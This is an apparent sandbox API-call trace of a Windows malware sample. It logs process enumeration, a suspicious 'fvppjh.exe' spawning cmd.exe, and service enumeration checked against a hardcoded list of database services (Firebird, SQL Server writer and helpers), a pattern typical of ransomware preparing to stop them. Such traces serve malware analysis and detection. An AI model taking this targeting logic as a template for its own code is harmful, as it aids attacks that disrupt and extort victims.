	[0154.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0154.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0154.883] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0154.883] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0154.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0154.883] lstrlenW (lpString="StateRepository") returned 15
	[0154.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0154.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0154.884] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0154.884] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0154.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0154.884] lstrlenW (lpString="SysMain") returned 7
	[0154.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0154.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0154.884] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0154.884] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0154.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0154.884] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0154.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0154.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0154.884] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0154.884] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0154.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0154.884] lstrlenW (lpString="Themes") returned 6
	[0154.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0154.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0154.884] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0154.884] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0154.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0154.884] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0154.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0154.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0154.884] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0154.884] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0154.884] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0154.884] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x438
	[0154.889] Process32FirstW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0154.890] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0154.890] lstrlenW (lpString="System") returned 6
	[0154.890] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0154.891] lstrlenW (lpString="smss.exe") returned 8
	[0154.891] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0154.891] lstrlenW (lpString="csrss.exe") returned 9
	[0154.891] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0154.891] lstrlenW (lpString="wininit.exe") returned 11
	[0154.891] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0154.892] lstrlenW (lpString="csrss.exe") returned 9
	[0154.892] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0154.892] lstrlenW (lpString="winlogon.exe") returned 12
	[0154.892] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0154.893] lstrlenW (lpString="services.exe") returned 12
	[0154.893] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0154.893] lstrlenW (lpString="lsass.exe") returned 9
	[0154.893] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0154.893] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0154.894] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0154.894] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0154.894] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0155.004] lstrlenW (lpString="svchost.exe") returned 11
	[0155.004] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0155.005] lstrlenW (lpString="svchost.exe") returned 11
	[0155.005] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0155.005] lstrlenW (lpString="dwm.exe") returned 7
	[0155.005] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0155.005] lstrlenW (lpString="svchost.exe") returned 11
	[0155.005] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0155.006] lstrlenW (lpString="svchost.exe") returned 11
	[0155.006] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0155.006] lstrlenW (lpString="svchost.exe") returned 11
	[0155.006] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0155.007] lstrlenW (lpString="svchost.exe") returned 11
	[0155.007] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0155.007] lstrlenW (lpString="svchost.exe") returned 11
	[0155.007] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0155.008] lstrlenW (lpString="svchost.exe") returned 11
	[0155.008] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0155.008] lstrlenW (lpString="svchost.exe") returned 11
	[0155.008] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0155.008] lstrlenW (lpString="svchost.exe") returned 11
	[0155.008] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0155.009] lstrlenW (lpString="svchost.exe") returned 11
	[0155.009] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0155.009] lstrlenW (lpString="svchost.exe") returned 11
	[0155.009] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0155.010] lstrlenW (lpString="spoolsv.exe") returned 11
	[0155.010] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0155.010] lstrlenW (lpString="svchost.exe") returned 11
	[0155.010] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0155.010] lstrlenW (lpString="audiodg.exe") returned 11
	[0155.010] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0155.011] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0155.011] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0155.011] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0155.011] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0155.012] lstrlenW (lpString="Memory Compression") returned 18
	[0155.012] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0155.012] lstrlenW (lpString="sihost.exe") returned 10
	[0155.012] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0155.013] lstrlenW (lpString="svchost.exe") returned 11
	[0155.013] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0155.013] lstrlenW (lpString="taskhostw.exe") returned 13
	[0155.013] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0155.013] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0155.013] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0155.014] lstrlenW (lpString="taskhostw.exe") returned 13
	[0155.014] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0155.014] lstrlenW (lpString="explorer.exe") returned 12
	[0155.014] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0155.015] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0155.015] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0155.015] lstrlenW (lpString="SearchUI.exe") returned 12
	[0155.015] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0155.016] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0155.016] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0155.016] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0155.016] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0155.016] lstrlenW (lpString="svchost.exe") returned 11
	[0155.016] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0155.017] lstrlenW (lpString="fvppjh.exe") returned 10
	[0155.017] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0155.017] lstrlenW (lpString="cmd.exe") returned 7
	[0155.017] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0155.018] lstrlenW (lpString="conhost.exe") returned 11
	[0155.018] Process32NextW (in: hSnapshot=0x438, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0155.018] CloseHandle (hObject=0x438) returned 1
	[0155.018] Sleep (dwMilliseconds=0x1f4) 
	[0155.842] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c0688
	[0155.842] EnumServicesStatusExW (in: hSCManager=0x41c0688, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0155.843] GetLastError () returned 0xea
	[0155.843] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bee) returned 0x41b9628
	[0155.843] EnumServicesStatusExW (in: hSCManager=0x41c0688, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41b9628, cbBufSize=0x1bee, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41b9628, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0155.844] CloseServiceHandle (hSCObject=0x41c0688) returned 1
	[0155.844] lstrlenW (lpString="AppXSvc") returned 7
	[0155.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0155.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0155.844] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0155.844] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0155.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0155.844] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0155.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0155.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0155.844] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0155.844] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0155.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0155.844] lstrlenW (lpString="Audiosrv") returned 8
	[0155.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0155.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0155.844] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0155.844] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0155.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0155.845] lstrlenW (lpString="BFE") returned 3
	[0155.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0155.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0155.845] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0155.845] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0155.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0155.845] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0155.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0155.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0155.845] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0155.845] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0155.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0155.845] lstrlenW (lpString="CDPSvc") returned 6
	[0155.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0155.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0155.845] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0155.845] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0155.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0155.845] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0155.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0155.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0155.845] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0155.845] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0155.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0155.845] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0155.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0155.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0155.845] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0155.845] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0155.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0155.845] lstrlenW (lpString="CryptSvc") returned 8
	[0155.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0155.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0155.845] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0155.845] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0155.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0155.846] lstrlenW (lpString="DcomLaunch") returned 10
	[0155.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0155.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0155.846] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0155.846] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0155.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0155.846] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0155.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0155.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0155.846] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0155.846] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0155.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0155.846] lstrlenW (lpString="Dhcp") returned 4
